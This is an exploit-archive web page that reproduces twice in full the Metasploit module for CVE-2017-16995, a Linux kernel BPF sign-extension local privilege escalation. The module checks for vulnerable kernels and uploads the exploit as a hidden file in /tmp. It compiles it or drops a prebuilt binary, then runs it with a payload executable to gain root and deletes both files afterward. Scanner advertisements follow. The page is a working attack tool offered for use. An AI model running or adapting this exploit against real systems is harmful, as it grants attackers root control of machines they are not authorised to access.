linux bpf sign extension local privilege escalation (metasploit)

▸▸▸ Exploit & Vulnerability >>   local exploit & linux vulnerability




Online Vulnerability Scanner Tools
linux bpf sign extension local privilege escalation (metasploit) Code Code... 
				
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux BPF Sign Extension Local Privilege Escalation',
      'Description'    => %q{
        Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
        which contains a vulnerability where it may improperly perform sign
        extension. This can be utilized to escalate privileges.

        The target system must be compiled with BPF support and must not have
        kernel.unprivileged_bpf_disabled set to 1.

        This module has been tested successfully on:

        Debian 9.0 kernel 4.9.0-3-amd64;
        Deepin 15.5 kernel 4.9.0-deepin13-amd64;
        ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
        Fedora 25 kernel 4.8.6-300.fc25.x86_64;
        Fedora 26 kernel 4.11.8-300.fc26.x86_64;
        Fedora 27 kernel 4.13.9-300.fc27.x86_64;
        Gentoo 2.2 kernel 4.5.2-aufs-r;
        Linux Mint 17.3 kernel 4.4.0-89-generic;
        Linux Mint 18.0 kernel 4.8.0-58-generic;
        Linux Mint 18.3 kernel 4.13.0-16-generic;
        Mageia 6 kernel 4.9.35-desktop-1.mga6;
        Manjero 16.10 kernel 4.4.28-2-MANJARO;
        Solus 3 kernel 4.12.7-11.current;
        Ubuntu 14.04.1 kernel 4.4.0-89-generic;
        Ubuntu 16.04.2 kernel 4.8.0-45-generic;
        Ubuntu 16.04.3 kernel 4.10.0-28-generic;
        Ubuntu 17.04 kernel 4.10.0-19-generic;
        ZorinOS 12.1 kernel 4.8.0-39-generic.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jann Horn', # Discovery
          'bleidl',    # Discovery and get-rekt-linux-hardened.c exploit
          'vnik',      # upstream44.c exploit
          'rlarabee',  # cve-2017-16995.c exploit
          'h00die',    # Metasploit
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => 'Nov 12 2017',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'AKA', 'get-rekt-linux-hardened.c' ],
          [ 'AKA', 'upstream44.c' ],
          [ 'BID', '102288' ],
          [ 'CVE', '2017-16995' ],
          [ 'EDB', '44298' ],
          [ 'EDB', '45010' ],
          [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
          [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
          [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
          [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
          [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
          [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
          [ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
          [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
          [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
        ],
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd
    rm_f "#{path}.c"

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
    end

    cmd_exec "chmod +x #{path}"
  end

  def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    if unprivileged_bpf_disabled?
      vprint_error 'Unprivileged BPF loading is not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged BPF loading is permitted'

    release = kernel_release
    if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
       Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, exploit_data('exploit.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('exploit.out')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit ...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
    output.each_line { |line| vprint_status line.chomp }
    print_status "Cleaning up #{payload_path} and #{executable_path} ..."
    rm_f executable_path
    rm_f payload_path
  end
end
            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux BPF Sign Extension Local Privilege Escalation',
      'Description'    => %q{
        Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
        which contains a vulnerability where it may improperly perform sign
        extension. This can be utilized to escalate privileges.

        The target system must be compiled with BPF support and must not have
        kernel.unprivileged_bpf_disabled set to 1.

        This module has been tested successfully on:

        Debian 9.0 kernel 4.9.0-3-amd64;
        Deepin 15.5 kernel 4.9.0-deepin13-amd64;
        ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
        Fedora 25 kernel 4.8.6-300.fc25.x86_64;
        Fedora 26 kernel 4.11.8-300.fc26.x86_64;
        Fedora 27 kernel 4.13.9-300.fc27.x86_64;
        Gentoo 2.2 kernel 4.5.2-aufs-r;
        Linux Mint 17.3 kernel 4.4.0-89-generic;
        Linux Mint 18.0 kernel 4.8.0-58-generic;
        Linux Mint 18.3 kernel 4.13.0-16-generic;
        Mageia 6 kernel 4.9.35-desktop-1.mga6;
        Manjero 16.10 kernel 4.4.28-2-MANJARO;
        Solus 3 kernel 4.12.7-11.current;
        Ubuntu 14.04.1 kernel 4.4.0-89-generic;
        Ubuntu 16.04.2 kernel 4.8.0-45-generic;
        Ubuntu 16.04.3 kernel 4.10.0-28-generic;
        Ubuntu 17.04 kernel 4.10.0-19-generic;
        ZorinOS 12.1 kernel 4.8.0-39-generic.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jann Horn', # Discovery
          'bleidl',    # Discovery and get-rekt-linux-hardened.c exploit
          'vnik',      # upstream44.c exploit
          'rlarabee',  # cve-2017-16995.c exploit
          'h00die',    # Metasploit
          'bcoles'     # Metasploit
        ],
      'DisclosureDate' => 'Nov 12 2017',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'AKA', 'get-rekt-linux-hardened.c' ],
          [ 'AKA', 'upstream44.c' ],
          [ 'BID', '102288' ],
          [ 'CVE', '2017-16995' ],
          [ 'EDB', '44298' ],
          [ 'EDB', '45010' ],
          [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
          [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
          [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
          [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
          [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
          [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
          [ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
          [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
          [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
        ],
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd
    rm_f "#{path}.c"

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
    end

    cmd_exec "chmod +x #{path}"
  end

  def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    if unprivileged_bpf_disabled?
      vprint_error 'Unprivileged BPF loading is not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged BPF loading is permitted'

    release = kernel_release
    if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
       Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, exploit_data('exploit.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('exploit.out')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit ...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
    output.each_line { |line| vprint_status line.chomp }
    print_status "Cleaning up #{payload_path} and #{executable_path} ..."
    rm_f executable_path
    rm_f payload_path
  end
end

Linux bpf sign extension local privilege escalation (metasploit) Vulnerability / Exploit Source : Linux bpf sign extension local privilege escalation (metasploit)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.